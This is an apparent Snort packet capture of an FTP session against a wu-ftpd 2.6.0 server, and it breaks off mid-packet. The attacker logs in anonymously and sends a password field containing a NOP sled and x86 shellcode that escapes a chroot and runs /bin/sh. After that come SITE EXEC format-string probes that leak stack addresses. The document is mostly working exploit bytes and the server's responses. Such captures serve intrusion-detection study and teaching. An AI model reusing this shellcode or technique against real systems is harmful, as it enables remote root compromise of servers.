No run mode specified, defaulting to verbose mode 11/14-16:05:43.383018 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x4A 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41659 IpLen:20 DgmLen:60 DF ******S* Seq: 0x2A5FDBC Ack: 0x0 Win: 0x7D78 TcpLen: 40 TCP Options (5) => MSS: 1460 SackOK TS: 114784975 0 NOP WS: 0 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.383281 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x4A 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x0 ID:37610 IpLen:20 DgmLen:60 DF ***A**S* Seq: 0x2AE0A8C Ack: 0x2A5FDBD Win: 0x7D78 TcpLen: 40 TCP Options (5) => MSS: 1460 SackOK TS: 69269677 114784975 NOP TCP Options => WS: 0 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.390487 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41660 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A5FDBD Ack: 0x2AE0A8D Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114784975 69269677 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.472588 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x96 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37614 IpLen:20 DgmLen:136 DF ***AP*** Seq: 0x2AE0A8D Ack: 0x2A5FDBD Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269686 114784975 32 32 30 20 6E 74 65 63 31 36 2D 33 36 20 46 54 220 ntec16-36 FT 50 20 73 65 72 76 65 72 20 28 56 65 72 73 69 6F P server (Versio 6E 20 77 75 2D 32 2E 36 2E 30 28 31 29 20 4D 6F n wu-2.6.0(1) Mo 6E 20 46 65 62 20 32 38 20 31 30 3A 33 30 3A 33 n Feb 28 10:30:3 36 20 45 53 54 20 32 30 30 30 29 20 72 65 61 64 6 EST 2000) read 79 2E 0D 0A y... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.495476 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41662 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A5FDBD Ack: 0x2AE0AE1 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114784980 69269686 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.495481 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x4C 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41663 IpLen:20 DgmLen:62 DF ***AP*** Seq: 0x2A5FDBD Ack: 0x2AE0AE1 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114784980 69269686 55 53 45 52 20 66 74 70 0D 0A USER ftp.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.495591 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x42 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37615 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2AE0AE1 Ack: 0x2A5FDC7 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269688 114784980 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.497994 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x86 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37616 IpLen:20 DgmLen:120 DF ***AP*** Seq: 0x2AE0AE1 Ack: 0x2A5FDC7 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269688 114784980 33 33 31 20 47 75 65 73 74 20 6C 6F 67 69 6E 20 331 Guest login 6F 6B 2C 20 73 65 6E 64 20 79 6F 75 72 20 63 6F ok, send your co 6D 70 6C 65 74 65 20 65 2D 6D 61 69 6C 20 61 64 mplete e-mail ad 64 72 65 73 73 20 61 73 20 70 61 73 73 77 6F 72 dress as passwor 64 2E 0D 0A d... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.499167 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x1DB 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41664 IpLen:20 DgmLen:461 DF ***AP*** Seq: 0x2A5FDC7 Ack: 0x2AE0B25 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114784981 69269688 50 41 53 53 20 90 90 90 90 90 90 90 90 90 90 90 PASS ........... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 31 C0 31 DB 31 C9 B0 46 CD .......1.1.1..F. 80 31 C0 31 DB 43 89 D9 41 B0 3F CD 80 EB 6B 5E .1.1.C..A.?...k^ 31 C0 31 C9 8D 5E 01 88 46 04 66 B9 FF FF 01 B0 1.1..^..F.f..... 27 CD 80 31 C0 8D 5E 01 B0 3D CD 80 31 C0 31 DB '..1..^..=..1.1. 8D 5E 08 89 43 02 31 C9 FE C9 31 C0 8D 5E 08 B0 .^..C.1...1..^.. 0C CD 80 FE C9 75 F3 31 C0 88 46 09 8D 5E 08 B0 .....u.1..F..^.. 3D CD 80 FE 0E B0 30 FE C8 88 46 04 31 C0 88 46 =.....0...F.1..F 07 89 76 08 89 46 0C 89 F3 8D 4E 08 8D 56 0C B0 ..v..F....N..V.. 0B CD 80 31 C0 31 DB B0 01 CD 80 E8 90 FF FF FF ...1.1.......... FF FF FF 30 62 69 6E 30 73 68 31 2E 2E 31 31 78 ...0bin0sh1..11x 78 78 78 78 78 78 40 78 78 78 78 78 78 78 78 78 xxxxxx@xxxxxxxxx 78 78 78 2E 63 6F 6D 0D 0A xxx.com.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.500557 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x42 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37617 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2AE0B25 Ack: 0x2A5FF60 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269689 114784981 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.590884 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x1F2 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37625 IpLen:20 DgmLen:484 DF ***AP*** Seq: 0x2AE0B25 Ack: 0x2A5FF60 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269697 114784981 32 33 30 2D 54 68 65 20 72 65 73 70 6F 6E 73 65 230-The response 20 27 90 90 90 90 90 90 90 90 90 90 90 90 90 90 '.............. 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 31 C0 31 DB 31 C9 B0 46 CD 80 31 C0 ....1.1.1..F..1. 31 DB 43 89 D9 41 B0 3F CD 80 EB 6B 5E 31 C0 31 1.C..A.?...k^1.1 C9 8D 5E 01 88 46 04 66 B9 FF 01 B0 27 CD 80 31 ..^..F.f....'..1 C0 8D 5E 01 B0 3D CD 80 31 C0 31 DB 8D 5E 08 89 ..^..=..1.1..^.. 43 02 31 C9 FE C9 31 C0 8D 5E 08 B0 0C CD 80 FE C.1...1..^...... C9 75 F3 31 C0 88 46 09 8D 5E 08 B0 3D CD 80 FE .u.1..F..^..=... 0E B0 30 FE C8 88 46 04 31 C0 88 46 07 89 76 08 ..0...F.1..F..v. 89 46 0C 89 F3 8D 4E 08 8D 56 0C B0 0B CD 80 31 .F....N..V.....1 C0 31 DB B0 01 CD 80 E8 90 FF FF FF 30 62 69 6E .1..........0bin 30 73 68 31 2E 2E 31 31 78 78 78 78 78 78 78 40 0sh1..11xxxxxxx@ 78 78 78 78 78 78 78 78 78 78 78 78 2E 63 6F 6D xxxxxxxxxxxx.com 27 20 69 73 20 6E 6F 74 20 76 61 6C 69 64 0D 0A ' is not valid.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.611408 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41665 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A5FF60 Ack: 0x2AE0CD5 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114784990 69269697 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.611507 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0xD8 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37626 IpLen:20 DgmLen:202 DF ***AP*** Seq: 0x2AE0CD5 Ack: 0x2A5FF60 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269700 114784990 32 33 30 2D 4E 65 78 74 20 74 69 6D 65 20 70 6C 230-Next time pl 65 61 73 65 20 75 73 65 20 79 6F 75 72 20 65 2D ease use your e- 6D 61 69 6C 20 61 64 64 72 65 73 73 20 61 73 20 mail address as 79 6F 75 72 20 70 61 73 73 77 6F 72 64 0D 0A 32 your password..2 33 30 2D 20 20 20 20 20 20 20 20 66 6F 72 20 65 30- for e 78 61 6D 70 6C 65 3A 20 6A 6F 65 40 6E 74 65 63 xample: joe@ntec 31 2D 32 30 0D 0A 32 33 30 20 47 75 65 73 74 20 1-20..230 Guest 6C 6F 67 69 6E 20 6F 6B 2C 20 61 63 63 65 73 73 login ok, access 20 72 65 73 74 72 69 63 74 69 6F 6E 73 20 61 70 restrictions ap 70 6C 79 2E 0D 0A ply... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.621199 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x50 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41666 IpLen:20 DgmLen:66 DF ***AP*** Seq: 0x2A5FF60 Ack: 0x2AE0D6B Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114784990 69269700 53 49 54 45 20 45 58 45 43 20 25 70 0D 0A SITE EXEC %p.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.640694 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x42 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37627 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2AE0D6B Ack: 0x2A5FF6E Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269703 114784990 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.647905 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x4C 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37628 IpLen:20 DgmLen:62 DF ***AP*** Seq: 0x2AE0D6B Ack: 0x2A5FF6E Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269703 114784990 32 30 30 2D 30 78 33 31 0D 0A 200-0x31.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.681758 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41668 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A5FF6E Ack: 0x2AE0D75 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114784993 69269703 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.681851 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x56 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37629 IpLen:20 DgmLen:72 DF ***AP*** Seq: 0x2AE0D75 Ack: 0x2A5FF6E Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269706 114784993 32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 25 70 200 (end of '%p 27 29 0D 0A ').. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.680920 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x1DE 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41669 IpLen:20 DgmLen:464 DF ***AP*** Seq: 0x2A5FF6E Ack: 0x2AE0D89 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114784993 69269706 53 49 54 45 20 45 58 45 43 20 61 61 61 62 63 64 SITE EXEC aaabcd 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 7C 25 2E 38 78 7C 25 2E 38 78 0D 0A |%.8x|%.8x.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.686667 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0xEA 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37630 IpLen:20 DgmLen:220 DF ***AP*** Seq: 0x2AE0D89 Ack: 0x2A6010A Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269707 114784993 32 30 30 2D 61 61 61 62 63 64 2D 32 2D 32 30 30 200-aaabcd-2-200 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000- 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24 30 6E 61 6E 7C 62 66 66 66 64 65 32 65 7C 30 30 0nan|bfffde2e|00 30 30 30 30 30 30 0D 0A 000000.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.711534 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41671 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A6010A Ack: 0x2AE0E31 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114784996 69269707 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.711645 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x1E4 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37631 IpLen:20 DgmLen:470 DF ***AP*** Seq: 0x2AE0E31 Ack: 0x2A6010A Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269709 114784996 32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 61 61 200 (end of 'aa 61 62 63 64 25 2E 66 25 2E 66 25 2E 66 25 2E 66 abcd%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 7C 25 2E 38 78 7C 25 2E 38 78 27 29 f%.f|%.8x|%.8x') 0D 0A .. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.712115 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x1E2 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41672 IpLen:20 DgmLen:468 DF ***AP*** Seq: 0x2A6010A Ack: 0x2AE0FD3 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114784996 69269709 53 49 54 45 20 45 58 45 43 20 61 61 61 62 63 64 SITE EXEC aaabcd 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 64 25 64 7C 25 2E 38 78 7C 25 2E 38 78 0D 0A %d%d|%.8x|%.8x.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.720888 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0xF6 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37632 IpLen:20 DgmLen:232 DF ***AP*** Seq: 0x2AE0FD3 Ack: 0x2A602AA Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269711 114784996 32 30 30 2D 61 61 61 62 63 64 2D 32 2D 32 30 30 200-aaabcd-2-200 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000- 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24 30 6E 61 6E 2D 31 30 37 33 37 35 30 34 38 32 30 0nan-10737504820 7C 62 66 66 66 64 62 32 38 7C 34 30 30 63 33 37 |bfffdb28|400c37 63 64 0D 0A cd.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.750426 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 